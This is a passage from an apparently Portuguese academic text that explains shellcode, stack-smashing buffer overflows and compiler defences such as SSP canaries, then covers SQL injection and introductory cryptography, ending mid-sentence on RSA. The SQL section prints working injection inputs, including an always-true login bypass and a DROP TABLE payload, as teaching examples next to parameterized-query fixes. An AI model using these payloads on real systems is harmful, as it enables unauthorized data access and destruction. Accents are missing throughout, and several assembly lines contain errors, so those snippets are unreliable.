Figura 1: estado da pilha antes da execuo de uma funo varivel.

27

Figura 2: estado da pilha depois da execuo de uma funo varivel.

2.5.5 Shell Code


Para que possamos executar cdigos maliciosos diretamente na pilha ou em outras
partes da memria, necessrio criar cdigos assembly que representam as instrues que
desejamos injetar na mquina alvo. Um shell code nada mais do que um programa em
linguagem de mquina que abre um shell, como o cmd no sistema operacional Windows e
/bin/sh no Linux. Escolhe-se abrir um shell porque a partir dele, pode-se executar qualquer
outro comando na mquina. Porm no qualquer shell que nos dar acesso total mquina
alvo, mas apenas um shell com permisses de root ou privilgios de administrador. Para que
isso seja possvel, necessrio que o programa vulnervel tenha permisses elevadas no
sistema, pois assim ao abrir-se um shell a partir dele, teremos os mesmos privilgios do
programa atacado. Unindo um shell com a permisso root, teremos em mos os maiores
privilgios da mquina, o que permitir acesso a todos os seus recursos (ALEPHONE, 1996).
Shell codes so tipicamente inseridos na memria do computador atacado explorandose falhas de estouros de pilha, de heap ou de strings de formatao. A maneira mais usual
sobrescrever o endereo de retorno armazenado na pilha de uma funo para que aponte para o
endereo onde se encontra o shell code a ser injetado. Como resultado, ao invs da subrotina
retornar para a funo chamadora, retornar para o shell code, e abrir um novo shell. Em um

28

programa C, shell code ser uma lista de caracteres em hexadecimal que representam os
comandos assembly que desejamos injetar na mquina alvo (ALEPHONE, 1996).

2.5.6 Criando um Shell Code


Veremos os processos necessrios para a criao de um shell code. Basicamente, esse
processo se resume em 5 passos:
1. Criar o programa em uma linguagem de alto nvel (como em C) que execute o programa
que desejamos replicar;
2. Analisar o cdigo assembly desse programa para filtrar s aqueles comandos
necessrios para reproduzir o programa original;
3. Criar um novo programa em assembly que execute os comandos analisados no passo 2;
4. Descobrir quais so as instrues de mquina (ou opcodes) e operandos que
correspondem aos comandos do programa assembly criado;
5. Criar e testar o shell code criado a partir dos opcodes e operandos descobertos.
Exemplo:

29

O programa acima simplesmente encerra a sua execuo com o cdigo de sada setado
para o valor 20. O trecho de cdigo assembly abaixo executa a chamada para a funo exit():
exit (20);
<main+17>: mov1 $0x14, (%eap)
<main+24>: call 0x80482f4 <exit@plt>
O trecho de cdigo acima executa uma chamada de sistema (ou system call, ou ainda
syscall). Chamada de sistema o mecanismo utilizado por aplicaes para requisitar um servio
no sistema operacional. O servio requisitado um ndice de uma tabela, passado pelo
registrador EAX, e o comando para executar a interrupo int 0x80. Logo, os comandos acima
executam uma chamada de sistema, requisitando a execuo do servio de ndice 0xfc (252, em
decimal). Verificando a que servio esse ndice se refere na tabela de syscall (usualmente, uma
se encontra em /usr/include/asm/unistd_32.h), vimos que o valor 252 se refere ao servio
_exit_group(). Esse servio, conforme descrito em sua pgina man, anlogo a exit(), porm
ele encerra a execuo no apenas de thread atual, mas de todas aquelas presentes no grupo de
threads correntes. Como nosso shell code possuir uma thread nica, esse trecho de cdigo
assembly desnecessrio.
<_exit=11>: mov $0x1, %eax
<_exit+16>: int $0x80
O trecho de cdigo acima tambm executa uma chamada de sistema, porm o servio
requisitado outro. Verificando na tabela de syscall qual servio corresponde ao ndice 1,
descobrimos que _exit() o correspondente esse ndice. Conforme sua pgina man a execuo
deste servio encerra um processo, e este efeito que desejamos reproduzir. Logo, esses
comandos assembly devem constar em nosso shell code.
Para reproduzir corretamente o efeito da chamada de servio _exit(), devemos:
1. Copiar o valor de sada para o registrador EBX.
2. Copiar o valor 0x1 para o registrador EAX referente ao ndice da tabela de syscall para
o servio _exit();
30

3. Executar o comando de interrupo int 0x80.


O seguinte cdigo assembly foi gerado para reproduzir os efeitos acima citados:
.text
.glob1 _start

_start :
Mov1 $20 %ebx
Mov1 $1, %eax
Int $0x80
Compilamos e lincamos o cdigo acima com os comandos abaixo, respectivamente:
as o ExitShellcode.o ExitShellcode.s
ld o ExitShellcode ExitShellcode.o
Executando os comandos acima, o programa ExitShellcode ser criado. Se estiver
correto, o programa deve apenas terminar sua execuo, retornando o valor de sada 20. Para
confirmar que o programa escrito em assembly est realizando o esperado, o executamos
usando a ferramenta gdb.

2.5.7 Stack Smashing (Esmagamento de Pilha)


Denomina-se Stack Smashing a tcnica usada para explorar vulnerabilidades em um
programa de sobrescrevendo dados escritos na pilha. A primeira referncia existente sobre essa
tcnica data de 1972, quando Anderson o apontou no artigo Computer Security Technology
Planning Study: The code performing this function does not Check the source and destination
adresses properly, permiting portions of the monitor that will permit the user to seize controlo
f the machine. (1972, p.61). A tcnica de esmagamento de pilha ficou mais conhecida com o
avano dos computadores pessoais. A primeira explorao documentada que utiliza estouros de
buffer foi em 1988, que era uma das diversas formas que o vrus Morris Worm usava para se
propagar pela internet. O programa atingido era um servio UNIX chamado finger. Em 1995,
Thomas Lopatic redescobriu a tcnica utilizada e a publicou na lista
De e-mails de segurana Bugtraq. Elias Levy (mais conhecido como Aleph One) publicou em
1996 o artigo Smashing the Stack for fun and Profit, que descreve detalhadamente o processo
de explorao dos estouros de buffer (Wikipdia,2009).
A ideia da tcnica sobrescrever no buffer vulnervel o shell code criado acrescido com
o endereo do prprio buffer. Entende-se por buffer vulnervel a rea de memria usada em
31

uma operao insegura, como a cpia de uma string para outra sem checagem de limites de
buffer. Com isso, espera-se que o endereo de retorno localizado na pilha seja sobrescrito pelo
endereo de memria onde se encontra o shell code a ser executado (ALEPHONE, 1996).
Abaixo um esquemtico da pilha antes e depois do ataque que ser realizado.

Figura 3: esquemtico de um ataque de esmagamento de pilha.


O objetivo inserir no buffer vulnervel o cdigo shell criado, preencher o restante do buffer
com dados irrelevantes at chegarmos no ponto onde se encontra o endereo de retorno, para
finalmente o sobrescrevermos com o endereo de memria onde se encontra o incio do shell
code. Feito isso, quando a funo encerrar sua execuo, ao invs de devolver o fluxo de
execuo para a funo chamadora ir setar o EIP para o incio do buffer, onde se encontra o
shell code injetado.
Abaixo est um tpico programa vulnervel:

32

O programa acima descreve uma string de entrada e o copia para a varivel buffer sem realizar
nenhuma checagem de limites. Isto , se a string passada como parmetro for maior que o
tamanho do buffer, dados da pilha sero sobrescritos. Para reproduzir uma explorao via
esmagamento de pilha, necessrio criar um programa que construa uma string conforme o
esquemtico abaixo tal que, ao ser passada essa string para o programa vulnervel, seja possvel
abrir um novo shell, e para tal temos trs problemas iniciais:

Figura 3.1 Esquemtico da funo execve.


1. Como passar a string para o programa invadido?
Muitos dos caracteres da string que ser passada como parmetro ao programa,
incluindo aquelas pertencentes ao shell code, no possuem uma representao em um
teclado convencional. Logo, para passar a string ao programa vulnervel, devemos usar
uma outra tcnica. Para facilitar, ser setada em uma varivel de ambiente a string
gerada por nosso programa, para posteriormente ser ela usada para a explorao;
2. Como descobrir um buffer vulnervel e o tamanho da entrada para causar o
estouro?
Como na maioria dos casos o atacante no tem conhecimento das fontes do programa
que ele deseja explorar, a descoberta de uma falha de segurana puramente via
experimentao. O hacker pode tentar alterar o tamanho de diversos parmetros de
entrada do programa para descobrir uma combinao que gere uma falha. Se a
vulnerabilidade existir, deve-se descobrir qual o parmetro que causa o erro, e qual
o tamanho do dado passado que gerou a falha;

33

3. Como descobrir qual o endereo do buffer onde foi injetada a string?


Para nosso ataque ter sucesso devemos inserir na string criada o endereo do buffer, que
o local onde se encontra o shell code. Porm, no possvel saber de antemo que
endereo esse, pois desconhecido o local exato onde o programa invadido est
carregado em memria. Contudo normalmente ros sistemas operacionais carregam os
dados da pilha em um mesmo endereo, e isto implica no fato de que a varivel que foi
usada para a injeo do shell code deva estar em algum deslocamento a partir do
endereo inicial. Isso diminui o escopo da busca, porm no a elimina, ainda teremos
que buscar via fora bruta o endereo exato do buffer para o ataque ter sucesso
(ALEPHONE, 1996).

2.5.8 COMO SE PROTEGER CONTRA BUFFER OVERFLOW


Estouros de buffer tem liderado h algum tempo a lista de ataques mais executados do
mundo, de acordo com a CISCO. Por isso, diversos mtodos foram criados para implantar
protees extras contra meios de explorao conhecidos e promover uma maior confiabilidade
nos sistemas. Existem diversas tcnicas que ajudam a melhorar a segurana dos programas
criados. A maioria delas se divide em 3 vertentes:

Melhores prticas de programao.


A maioria das vulnerabilidades de softwares poderiam ser evitadas com boas
prticas de desenvolvimento. Um programador consciente das tcnicas usadas para
explorar um software alheio estar muito melhor preparado para defender seu prprio
sistema de futuras invases. Ele deve sempre ter em mente que qualquer informao de
entrada de programa uma possvel tentativa de subverte-lo, logo todos os dados de
input devem ser devidamente validados;

Proteo pelo sistema operacional.


Consiste em oferecer mecanismos de segurana ao nvel de kernel do sistema
operacional. Como ele possui o total controle sobre os recursos do sistema, est apto a
fornecer medidas eficientes para combater vulnerabilidades em seus aplicativos. Dentre
elas, esto a randomizao do espao de endereamento de memria e sua proteo
contra execues indevidas;

Proteo pelo computador.


Sendo ele uma camada entre o cdigo criado pelo desenvolvedor e o programa
em si, o computador pode adicionar medidas de segurana implicitamente no software
34

gerado. Tipicamente, essas tcnicas inserem um valor no local da pilha entre o endereo
de retorno e as variveis automticas, de forma que o seu valor for alterado durante a
execuo do procedimento, detecta-se um erro e o programa deve ser abortado.
Existem

diversas

tcnicas

criadas

para

dificultar

explorao

de

vulnerabilidades em softwares. Mas nenhuma delas provou-se totalmente eficiente sem


causar um impacto considervel na performance de um sistema. A maneira mais eficaz
de se evitar falhas que possam ser exploradas desenvolver programas tendo como foco
a segurana do sistema.

2.5.9 Stack-Smashing Protector (SSP)


O Stack-Smashing Protector, tambm conhecido como SSP, uma extenso do GNC
(GNU Compiler Collection) criada por Hiroaki Etoh que fornece mecanismos de proteo
contra ataques de esmagamento de pilha, ele fornece uma proteo extra para evitar que
exploraes baseadas na alterao do endereo de retorno de uma funo tenham sucesso.
A tcnica tem como objetivo proteger sistemas escritos em C inserindo automaticamente
cdigo de proteo em uma aplicao em tempo de compilao. Isso realizando inserindo-se
cdigo que permite a deteco de estouros de buffer (ideia herdada do sistema StackGuard) e
realizando a reordenao de variveis para evitar a corrupo de ponteiros (ETOH, 2002).em
sistemas que possuem a proteo do SSP como uma extenso padro, ele pode ser desligado
usando o flag fno-stack-protector do GCC. Para ativ-lo, basta adicionar a flag fstackprotector para protees em array de caracteres ou fstack-protector-all para protees de todos
os tipos.
Dentre as suas caractersticas, pode-se citar (ETOH, 2002):

Deteco de alteraes no endereo de retorno adicionando-se um valor conhecido na


rea de memria entre o endereo de retorno e as variveis locais da funo (chamado
de canrio). Se houver alguma alterao nesse valor durante a execuo da funo,
houve um estouro;

Reordenao das variveis locais, movendo todos os buffers para a rea de memria
aps a rea onde se localizam os ponteiros, para evitar a sua corrupo. Esses ponteiros
ponteiros poderiam ser usados para corromper ainda mais outras reas de memria;

35

Cpia dos ponteiros referentes aos argumentos da funo para um espao de memria
anterior aos buffers locais da funo, tambm para evitar a sua corrupo e seu possvel
uso para corromper ainda mais a integridade do sistema;

2.6 Mtodo de Proteo


Para gerar um cdigo com melhores mecanismos de proteo, o SSP ajuda a proteger o
programa defendido de trs tipos de ataques conhecidos. Esses ataques baseiam-se na mudana
dos valores das seguintes reas de memria:

Endereo de retorno: o local mais usado para se explorar falhas de segurana. Atravs
dele, pode-se desviar o fluxo de execuo de uma funo aps o seu epilogo;

Variveis locais e argumentos de funo: se uma varivel local ou argumento for um


ponteiro de funo, possvel alterar o seu valor para que aponte para o shell code
injetado;

Ponteiro para o frame anterior: o atacante tambm pode injetar shell code alterando o
ponteiro para o frame da funo anterior. Isso se realiza criando-se um frame falso que
execute o cdigo shell, e alterar o valor de frame salvo na pilha para que aponte para o
indevido.

2.6.1 Canrios
Chamam-se canrios os valores conhecidos adicionados para possibilitar a deteco de
alteraes no endereo de retorno ou frame pointer da funo, causadas por estouros de buffer.
um valor gerado no prlogo da funo e testado no seu eplogo, posicionando-se na rea de
memria logo abaixo do frame pointer (no SSP) ou do endereo de retorno (no StackGuard).
Se houver alguma alterao no seu valor durante a execuo da funo, assume-se que houve
um estouro de buffer em algum ponto e o programa abruptamente encerrado (COWAN et al,
1998).
A sua terminologia foi herdada dos canrios usados em minas de carvo para deteco
de gases nocivos. Sendo esses pssaros mais sensveis, eles seriam afetados antes dos
mineradores e forneceriam uma forma de aviso de perigo. A primeira implementao dessa
tcnica foi em 1998 por Crispin Cowan, a ideia era de criar um mecanismo de proteo
executado pelo prprio compilador que garantisse uma maior segurana no cdigo gerado, sem
depender exclusivamente das habilidades dos desenvolvedores. A sua implementao no GCC
foi disponibilizada, porem posteriormente foi substitudo em favor do SSP.
Existem trs tipos de canrios atualmente em uso, so eles (GUPTA, SHARMA; 2008):

Canrios randmicos.
36

So aqueles cujos valores so gerados aleatoriamente, criados normalmente por um


gerador de nmeros aleatrios confivel, como o urandom dos sistemas Linux. A ideia
por tras deste tipo de canrio tornar praticamente impossvel seu valor ser descoberto.
Valores desconhecidos de canarios so desejados porque impossibilitam um atacante de
realizar um estouro sobrescrevendo o valor do canrio para burlar a deteco. Esse valor
normalmente escolhido na inicializao do programa e armazenado em uma rea de
memria segura, de praticamente impossvel acesso por programas externos, a no ser
que eles saibam seu endereo exato;

Canrios XOR randmicos.


So canrios randmicos embaralhados usando operaes XOR sobre todos os dados de
controle. Assim, caso haja alguma alterao no canrio ou em algum ponto de rea de
controle, o estouro detectado. Isso dificulta a descoberta do canrio, pois alm do seu
valor, tambm necessrio descobrir o algoritmo utilizado e os dados de controle;

Canrios terminadores.
So aqueles compostos de caracteres terminadores como 0x0a (line feed), 0x0d
(carriage return), 0x00 (NULL), e 0xff (end of file). Sua idia baseada na observao
de que estouros de buffer geralmente so explorados em funes que manipulam strings.
Um ponto negativo que o valor do canrio conhecido. Assim se houvesse duas
situaes de estouros de buffer em uma mesma funo, a primeira poderia ser usada
para alterar o endereo de retorno enquanto que a segunda seria usada para restaurar o
valor do canrio.

O StackGuard implementa todos os trs tipos de canrios, enquanto que o SSP


implementa os canrios randmicos e terminadores.

2.6.2 Modelo de Funo Segura


Para garantir que os dados armazenados na pilha estejam seguros contra estouros de
buffer, o SSP introduz um modelo para gerar funes seguras. Segue abaixo o esquemtico do
modelo ideal de um frame da pilha proposto por Etoh (2002).

37

Figura 3.2 Modelo de funo segura do SSP.


Acima foi esquematizado o modelo ideal de um frame de pilha. Basicamente o modelo
visa isolar os arrays que podem vir a vazar dados, para que seu estouro no afete as outras
variveis locais da funo. Isso garante a integridade das variveis automticas no decorrer da
funo, e evita o seu possvel uso para a injeo de shell code. Analisando o esquemtico, pode
ser visto que aps o frame pointer adicionado o canrio. Alm disso a rea de memria
reservada as variveis locais foi dividida em duas partes: os arrays e o restante das variveis
locais.

Com esta organizao o modelo garante as seguintes propriedades (ETOH, 2002): A


rea de memria fora da funo vulnervel no ser danificada quando a funo retornar. A
regio onde se encontram os buffers o nico ponto vulnervel onde um ataque pode ter incio.
Danos aos frames de outras funes podem ser detectados pela alterao de valor do canrio,
pois caso haja um estouro seu valor ser invariavelmente sobrescrito (lembrando que a escrita
em memria ocorre dos endereos mais baixos aos mais altos). Se o dano ocorrer, a execuo
do programa ser encerrada prematuramente ao trmino da funo;

Ataques em ponteiros de funes em um frame da pilha no sero danificados.


Com a reordenao das variveis locais, um estouro em um array no prejudicar a
integridade dos dados das outras variveis automticas da funo. Isso garante que, caso

38

exista algum ponteiro para uma funo, ele no seja sobrescrito e consequentemente
usado para a injeo de shell code.

Para alcanar esse novo modelo de organizao da pilha, o SSP necessita introduzir uma
srie de mudanas no cdigo gerado. A linguagem C no possui restries quanto a reordenao
das variveis automticas de uma funo, porm no permite a alterao da localizao dos
argumentos. Para burlar essa restrio, pode-se criar uma nova varivel local, copiar o valor do
argumento para ela e mudar a referncia do argumento para usar a nova varivel local protegida
(ETOH, 2002).

3.0 Defesa contra-ataques de injeo de SQL!


Sem garantias adequadas, as aplicaes so vulnerveis a diversas formas de ataque
segurana. Um mtodo particularmente difundido de ataque chamado de injeo de
SQL(SQLI). Usando este mtodo, um hacker pode passar a entrada sequncia de caracteres
para uma aplicao com a esperana de obter acesso no autorizado a um banco de dados.

3.1 O que SQL Injection ou (injeo de SQL) em traduo livre?


Injeo de SQL uma tcnica que explora maliciosamente aplicativos que usam os
dados fornecidos pelo cliente em instrues SQL. Os invasores enganam o motor de SQL para
executar comandos no intencionais atravs do fornecimento de entrada de string ou
caracteres especiais criados, ganhando assim acesso no autorizado a um banco de dados, a fim
de exibir ou manipular dados restritos.
Tcnicas de injeo SQL pode ser diferente, mas todos eles exploram uma nica
vulnerabilidade na aplicao:
Observao: strings literais Incorretamente validado ou no validadas esto
concatenadas em uma instruo SQL dinmica, e interpretado como cdigo pelo motor SQL.

3.1.1 Utilizao e uso do mtodo SQLI?


SQL em pginas da web
Quando o SQL usado para exibir dados em uma pgina web, comum usurios de
internet deixarem suas prprias entradas de valores de pesquisas. Desde que instrues SQL
sejam apenas texto, fcil, com um pequeno pedao de cdigo de computador, para alterar

39

dinamicamente instrues SQL para fornecer ao usurio com os dados selecionados conhecida
comumente com jargo m higiene:
Cdigo servidor
TxtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
O exemplo acima, cria uma instruo select, adicionando uma varivel (txtUserId) para uma
cadeia de seleo. A varivel obtida a partir da entrada do usurio (Request) para a pgina.

3.1.2 SQL Injection com base em 1 = 1 sempre verdadeiro


Olhe para o exemplo acima, mais uma vez. Vamos dizer que o propsito original do
cdigo era criar uma instruo SQL para selecionar um usurio com um determinado ID de
usurio. Se no h nada para impedir que um usurio entrar entrada "errado", o usurio pode
digitar algumas informaes "inteligente" como este:
ID do usurio:
105 or 1=1

Resultado servidor
SELECT * FROM Users WHERE UserId = 105 or 1=1
O SQL acima vlido. Ele ir retornar todas as linhas da tabela de usurios, uma vez que
1 = 1 sempre verdadeiro.
Ser que o exemplo acima parece perigoso? O que se a tabela de Usurios contm nomes
e senhas? A instruo SQL acima o mesmo que isto:
SELECT UserId, Name, Password FROM Users WHERE UserId = 105 or 1=1
Um hacker inteligente pode ter acesso a todos os nomes de usurio e senhas em um
banco de dados, simplesmente inserindo 105 ou 1 = 1 na caixa de entrada, resumindo no houve
uma boa higienizao de cdigo, no momento de executar o motor SQL.
3.1.3 Injeo SQL baseado em sempre verdadeira.
Aqui uma construo comum, usado para verificar login de usurio para um site:
Nome de usurio:

Senha:

40

Cdigo Servidor
uName = getRequestString("UserName");
uPass = getRequestString("UserPass");
sql = "SELECT * FROM Users WHERE Name ='" + uName + "' AND Pass ='" + uPass + "'"
Um hacker inteligente pode ter acesso aos nomes de usurio e senhas em um banco de
dados, simplesmente inserindo "ou" = na caixa "" o nome de usurio ou senha texto.
O cdigo no servidor ir criar uma instruo SQL vlida como este:
Resultado
SELECT * FROM Users WHERE Name ="" or ""="" AND Pass ="" or ""=""
O SQL resultado vlido. Ele ir retornar todas as linhas da tabela de usurios,
desde onde "" = ""sempre verdade.

3.1.4 SQL Injection com base em instrues SQL em lote


A maioria dos bancos de dados suportam instruo SQL em lote, separados por ponto e
vrgula.
EXEMPLO: SELECT * FROM Users; DROP TABLE Suppliers
O SQL acima ir retornar todas as linhas na tabela de usurios e, em seguida, elimine a
tabela chamada Fornecedores.
Se tivssemos o seguinte cdigo do servidor:
Cdigo Servidor:
TxtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
E a seguinte entrada:
ID do usurio:

O cdigo no servidor iria criar uma instruo SQL vlida como este:
Resultado
SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers
3.1.5 Parmetros para a Proteo (Higienizao)
Alguns desenvolvedores web usar uma "lista negra" de palavras ou caracteres para
pesquisar na entrada SQL, para evitar ataques de injeo SQL. Esta no uma idia muito
boa. Muitas destas palavras (like delete or drop) e caracteres (como o ponto e vrgula e aspas),
so utilizados em linguagem comum, e deve ser permitido em muitos tipos de entrada.
41

(Na verdade ele deve ser perfeitamente legal para introduzir uma instruo SQL em um campo
de banco de dados.)
A nica forma comprovada de proteger um site de ataques de injeo SQL, a utilizao
de parmetros SQL. Parmetros SQL so valores que so adicionados a uma consulta SQL em
tempo de execuo, de uma forma controlada.

3.1.6 ASP.NET Navalha Exemplo


txtUserId=getRequestString("UserId");
txtSQL="SELECT

FROM

Users

WHERE

UserId

@0";

db.Execute(txtSQL,txtUserId);
Note-se que os parmetros so representados na instruo SQL por um @ marcador.
O motor SQL verifica cada parmetro para garantir que ele est correto para sua coluna e so
tratados literalmente, e no como parte do SQL para ser executado.

Exemplo bsico:
txtNam=getRequestString("CustomerName");
txtAdd=getRequestString("Address");
txtCit=getRequestString("City");
txtSQL = "INSERT INTO Customers (CustomerName,Address,City) Values(@0,@1,@2)";
db.Execute(txtSQL,txtNam,txtAdd,txtCit);

Voc aprendeu apenas para evitar a injeo SQL. Uma das vulnerabilidades de sites de
topo.
Exemplos em mais algumas linguagens:
Os exemplos a seguir mostram como criar consultas parametrizadas em algumas
linguagens web comuns.
Instruo select in asp.net:

txtUserId = getRequestString("UserId");
sql = "SELECT * FROM Customers WHERE CustomerId = @0";
command = new SqlCommand(sql);
command.Parameters.AddWithValue("@0",txtUserID);
command.ExecuteReader();

42

INSERT INTO DECLARAO NA ASP.NET:


txtNam = getRequestString("CustomerName");
txtAdd = getRequestString("Address");
txtCit = getRequestString("City");
txtSQL = "INSERT INTO Customers (CustomerName,Address,City) Values(@0,@1,@2)";
command = new SqlCommand(txtSQL);
command.Parameters.AddWithValue("@0",txtNam);
command.Parameters.AddWithValue("@1",txtAdd);
command.Parameters.AddWithValue("@2",txtCit);
command.ExecuteNonQuery();
3.1.7 INSERT INTO DECLARAO EM PHP:
$stmt = $dbh->prepare ("INSERT INTO Customers (CustomerName.Address,City)
VALUES (:nam, :add, :cit)");
$stmt->bindParam(':nam', $txtNam);
$stmt->bindParam(':add', $txtAdd);
$stmt->bindParam(':cit', $txtCit);
$stmt->execute();
4.0 Criptografia
Em grego, cryptos significa secreto, oculto. A criptografia estuda os mtodos para
codificar uma mensagem de modo que s seu destinatrio legtimo consiga interpret-la. a
arte dos cdigos secretos.

O Cdigo de Csar
Um dos cdigos secretos mais simples consiste em substituir uma letra do alfabeto pela
seguinte. Por exemplo, a mensagem AMO A OBMEP seria codificada como
BNPBPCNFQ:
Um cdigo semelhante a este foi usado, por exemplo, pelo ditador romano Jlio Csar
para comunicar-se com as legies romanas em combate pela Europa. Este parece ser o primeiro
exemplo de um cdigo secreto de que se tem notcia.

43

Figura: Jlio Csar (100-44 a.C.)


Vejamos como codificar uma mensagem simples. Cdigos como o de Csar padecem
de um grande problema: so muito fceis de quebrar. Quebrar um cdigo significa ser capaz
de ler a mensagem, mesmo no sendo seu destinatrio legtimo. Na verdade, qualquer cdigo
que envolva substituir cada letra sistematicamente por outro smbolo qualquer sofre do mesmo
problema. Isto ocorre porque a frequncia mdia com que cada letra aparece em um texto de
uma dada lngua mais ou menos constante. Por exemplo, a frequncia mdia de cada letra na
lngua portuguesa dada na tabela 1.

Assim, apenas contando a frequncia de cada smbolo no texto, podemos descobrir a


que letra correspondem os smbolos mais frequentes. Isto geralmente suficiente para quebrar
o cdigo e ler toda a mensagem. Observe, entretanto, que este mtodo para quebrar o cdigo s
funciona bem se a mensagem for longa. fcil escrever uma mensagem curta cuja contagem
de frequncia seja totalmente diferente da contagem de frequncia mdia do portugus. Por
exemplo, em Zuza zoou da Zez a letra mais frequente o Z que aparece 5 vezes em um
texto de 14 letras. Como 5=14 = 0; 35::: a porcentagem do Z no texto acima de cerca de
44

35%; muito acima dos usuais 0; 47%. J o A aparece uma s vez, o que d uma porcentagem
de cerca de 7%; portanto, abaixo dos 14% usuais.

SUMZFI GCSGC SVZFC LZLSJ EZQSL HIFUI JDZQS LTSRF


SGCSJ UOZSZ OJTZL ZOEEO LHMSE ESDSL IECLU ILHCD
ZTIFE SZMOJ QCZSU IJPSU OTZZL ZOIFH ZFDST IHFIU SEEIH
ITSES FZCDI LZDOA ZTIIG CSDIF JZOJB OZBSO EDITI EIEUI
TOQIE GCSSJ BIMBS LECVE DODCO UZITS MSDFZ EUILI
IGCSS EDZLIE CDOMO AZJTI HZFZU ITORO UZFSE DZLSJ
EZQSL JZBSF TZTSZ MQCJE TIEHF OLSOF IEUIL HCDZT
IFSER IFZLU FOZTIE HFSUO EZLSJ DSHZF ZZNCT ZFZGC
SVFZFI EUITO QIEES UFSDI ECEZTI EHSMIE ZMSLZSE
TCFZJDS ZESQC JTZQC SFFZL CJTOZM SJDFS SEDSE SEDZB
ZIUIM IEEICL UILHC DZTIF UIEJD FCOTI JZOJQ MZDSF
FZHIF CLZSG COHSM OTSFZ TZHIF ZMZJD CFOJQ CLTIE
RCJTZ TIFSE TZUILH CDZUZI UOSJDO ROUZ

Exerccio 1. Ser que voc notou que o pargrafo acima foi codificado?
Use o mtodo de contagem de frequncia para quebrar o cdigo e poder decodificar e ler o
pargrafo. Para no simplificar as coisas, foram eliminados espaos, acentos e pontuao.

Cdigos em Bloco
Por sorte, existe uma maneira simples de tornar invivel a aplicao de uma contagem
de frequncia. Para isso, subdividimos a mensagem em blocos de vrias letras e embaralhamos
estes blocos. Por isso este processo de criptografar uma mensagem conhecido como cdigo
de bloco. Por exemplo, considere a mensagem AMO A OBMEP. Para codific-la seguiremos
os seguintes passos:

Eliminamos os espaos e completamos a mensagem com um A no final, caso tenha uma


quantidade mpar de letras;

Subdividimos a mensagem em blocos de duas letras;

Refletimos cada bloco;

45

Permutamos os blocos trocando o primeiro com o ltimo, o terceiro com a


antepenltimo, e assim por diante, mas deixando os outros como esto.

Aplicando isto, passo a passo, mensagem acima, obtemos primeiro


AMOAOBMEPA
depois
AM-OA-OB-ME-PA
em seguida
MA-AO-BO-EM-AP
e, finalmente,
AP-AO-BO-EM-MA
que nos d como mensagem codificada
APAOBOEMMA.
Exerccio 2. Discuta as seguintes questes com seus colegas:
(a) Por que a contagem de frequncia no funciona quando usamos cdigos em bloco?
(b) Por que escolhemos acrescentar exatamente a letra A quando a mensagem tem quantidade
mpar de letras, em vez de usar, por exemplo, X ou Y?
Apesar de cdigos como este serem melhores que o cdigo de Csar, eles apresentam
uma grande desvantagem quando se trata de aplicaes comerciais da criptografia. Por
exemplo, digamos que resolvo fazer uma compra via web usando o meu computador, em uma
loja em que nunca comprei antes. Para isso entro na pgina da loja, escolho os produtos que
desejo e, quando estou pronto para comprar, escolho ir para o caixa. O pagamento ser feito
usando o meu carto de crdito. Para isso, preciso informar a loja sobre os dados do meu carto:
geralmente o nmero e a data de vencimento. Mas isto significa que qualquer outra pessoa que
tenha estes dados pode fazer compras em meu nome. Para evitar este problema, as informaes
sobre o meu carto so codificadas pelo meu computador antes de serem enviadas.
Note, contudo, que meu computador no pode usar um cdigo qualquer para codificar
estas informaes, porque a loja precisa l-las e, para isso, tem que saber como decodificar a
mensagem. Na prtica o que ocorre que o meu computador comunica-se com o da loja, que
lhe informa como deve ser feito o processo de codificao. Isto , meu computador codifica as
informaes do carto de crdito usando um processo de codificao que enviado pela loja.
Infelizmente os cdigos de blocos no se prestam a este tipo de aplicao porque o computador
da loja usa a linha telefnica (ou de banda larga) qual meu computador est interligado para
46

enviar o processo de codificao a ser utilizado. Como fcil pr uma escuta na linha, uma
outra pessoa pode facilmente descobrir como meu computador vai codificar as informaes
sigilosas que sero enviadas loja. Usando a mesma escuta fcil interceptar tambm as
mensagens que contm os dados do carto. Mas isto basta porque, se sabemos como foi feito o
embaralhamento dos blocos, podemos facilmente desfaz-lo e ler os dados do carto!

A nica maneira de contornar este problema ter acesso ao que conhecido como um
canal seguro: uma maneira secreta de fazer a informao sobre o processo de codificao
chegar at o computador do usurio da loja. Talvez a loja pudesse mandar, pelo correio
registrado, um carto especial com os dados a serem usados para a codificao. O problema
que isto tornaria a transao lenta, j que seria necessrio esperar dias pela chegada do carto
nesse meio tempo eu talvez preferisse escolher uma loja real, mesmo que fosse longe da minha
casa. E ainda h outro problema, mais srio. Se o meu computador for invadido por um
hacker, o processo de codificao ser descoberto e qualquer mensagem enviada com ele
poder ser lida.

Cdigos de Chave Pblica


As dificuldades que relacionamos acima parecem condenar de maneira irremedivel a
possibilidade de fazer transaes pela web. Afinal, seja qual for o cdigo utilizado, se sabemos
como fazer a codificao, basta desfaz-la e decodificamos a mensagem. Ou no?
De fato, isto basicamente verdade; mas h um porm. Acontece que podemos imaginar
um processo que seja fcil de fazer mas muito difcil de desfazer e, ao utiliz-lo para criptografar
uma mensagem, estaramos garantindo que quem a interceptasse, mesmo sabendo como foi
codificada, teria um trabalho enorme em decodific-la. Abusando um pouco da fantasia,
podemos imaginar que o trabalho de desfazer o processo levasse tanto tempo que ningum
conseguisse p-lo em prtica. claro que quo difcil ser desfazer o procedimento depende
dos recursos disponveis a quem interceptou a mensagem.

Vejamos um exemplo. Voc j viu uma dessas armadilhas usadas para pescar lagostas?
Elas consistem de uma gaiola com uma porta fechada atrs e uma entrada para a lagosta na
frente.

47

O segredo est na entrada, que tem a forma de um funil: larga na parte externa e cada
vez menor medida que a lagosta vai entrando na gaiola.
Para uma ilustrao da entrada da armadilha veja a figura.

Figura: Armadilha lagosta.

A lagosta fica presa na gaiola porque, para poder sair, teria que encontrar e passar pela
parte estreita do funil, que um problema complicado demais para uma lagosta, cujo crebro
tem o tamanho aproximado de uma ervilha. No preciso dizer que uma armadilha desse tipo
no funcionaria para pegar um macaco, nem mesmo um passarinho. Muito interessante, mas
que problema matemtico satisfaz esta condio de ser fcil de fazer e difcil de desfazer,
para que possamos utiliz-lo em criptografia? Isto o que veremos na prxima seo. Por
enquanto, vamos s observar que tais cdigos so conhecidos como de chave pblica, j que o
processo (ou chave) de codificao pode ser conhecido de qualquer um sem comprometer a
segurana do cdigo.

Criptografia RSA
O mais conhecido dos mtodos de criptografia de chave pblica o RSA. Este cdigo
foi inventado em 1977 por R. L. Rivest, A. Shamir e L. Adleman, que na poca trabalhavam no
